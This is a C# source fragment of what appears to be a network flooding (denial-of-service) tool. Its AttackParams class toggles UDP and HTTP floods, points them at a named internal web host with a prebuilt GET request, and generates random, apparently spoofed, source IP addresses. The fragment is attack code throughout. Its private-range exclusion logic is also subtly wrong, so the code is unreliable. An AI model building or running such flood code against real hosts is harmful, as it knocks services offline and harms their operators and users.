public AttackParams(IPEndPoint Target, NetworkInstruments.AddressPool RestrictedPool) { this.Target = Target; this.HttpMsg = ""; UdpFloodEnabled = true; HttpFloodEnabled = false; this.RestrictedPool = RestrictedPool; }
public AttackParams(IPEndPoint Target, string HttpMsg) { this.Target = Target; this.HttpMsg = HttpMsg; UdpFloodEnabled = false; HttpFloodEnabled = true; this.RestrictedPool = new NetworkInstruments.AddressPool(IPAddress.Any, IPAddress.Any); //make sure they are empty }
public IPAddress GetNext(ref Random Randomizer, NetworkInstruments.AddressPool RestrictedPoll) //does ref really needed? { IPAddress Address = new IPAddress(new Byte[] { (byte)Randomizer.Next(1, 255), (byte)Randomizer.Next(0, 255), (byte)Randomizer.Next(0, 255), (byte)Randomizer.Next(0, 255) }); if (!(inRange(Address, RestrictedPoll[0], RestrictedPoll[1]) && inRange(Address, IPAddress.Parse("10.0.0.0"), IPAddress.Parse("10.255.255.255")) && inRange(Address, IPAddress.Parse("172.16.0.0"), IPAddress.Parse("172.31.255.255")) && inRange(Address, IPAddress.Parse("192.168.0.0"), IPAddress.Parse("192.168.255.255")) ) ) { return(Address); } else { return(GetNext(ref Randomizer, RestrictedPoll)); } }
public AttackParams() { try { Target = new IPEndPoint(Dns.GetHostAddresses("cinema.eastoffice.companyname")[0], 80); } catch (SocketException) { Target = new IPEndPoint(IPAddress.Any, 80); } UdpFloodEnabled = true; HttpFloodEnabled = true; RestrictedPool = new NetworkInstruments.AddressPool(NetworkInstruments.getLocaIP(), NetworkInstruments.getLocaIP()); HttpMsg = "GET http://cinema.eastoffice.companyname/index.php/ HTTP/1.1\r\n" + "Host: cinema.eastoffice.companyname\r\n" + "Connection: keep-alive\r\n" + "User-Agent: Mozilla/5.0\r\n" + "\r\n"; }